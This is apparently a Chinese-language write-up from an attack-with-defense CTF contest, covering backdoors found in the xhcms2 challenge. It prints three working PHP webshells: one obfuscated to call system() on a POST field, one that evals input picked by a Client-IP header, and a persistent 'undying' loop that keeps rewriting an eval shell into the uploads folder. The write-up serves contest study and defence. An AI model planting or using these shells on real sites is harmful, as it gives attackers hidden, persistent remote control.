睿抗机器人网络安全赛道AWD WP

xhcms2

漏洞一：免杀马1

位置：/var/www/html/public/uploads/admin/202412/this_is_big.php

<?php
$a = substr_replace("xxser","syste",-3);
$aa = array('',$a);
$b = $aa[1].chr('109');
$fun=preg_replace("/xx/","",$b);
$cc = substr_replace("",$fun,0);
$cc($_POST['x']);
?>

输出下变化

1 2	`echo 'a='.$a.' aa='.$aa.' b='.$b.' fun='.$fun.' cc='.$cc; a=xxsyste aa=Array b=xxsystem fun=system cc=system`

发送x=cat /flag得到

漏洞二：免杀马2

位置：/var/www/html/public/uploads/admin/.up.php

1
2
3

<?php
eval(${$_SERVER["HTTP_CLIENT_IP"]}[1]);
?>

${}如果方括号里的字符是转换成同名变量，例如 ${‘a’}，如果存在$a=”abc”，那么${‘a’}=$a=”abc”，所以构造一个http包里的参数，去利用这个参数构造RCE

漏洞三：不死马

位置：/var/www/html/app/index/controller/Index.php

<?php

namespace app\index\controller;
use app\index\service\BaseService;

class Index extends Base
{
	
	//首页
	public function index(){
		$this->view->assign('media', baseService::getMedia());  //网站关键词描述信息
		$this->view->assign('pid',0);
		$default_themes = config('xhadmin.default_themes') ? config('xhadmin.default_themes') : 'index';
		return $this->display($default_themes.'/index');
	}

    public  function  shell(){
        set_time_limit(0);
        ignore_user_abort(1);
        while (1) {
            $content = '<?php @eval($_POST["cmd"]) ?>';
            file_put_contents("./uploads/.bk.php", $content);
            usleep(10000); #停一会
        }
    }
	
	
}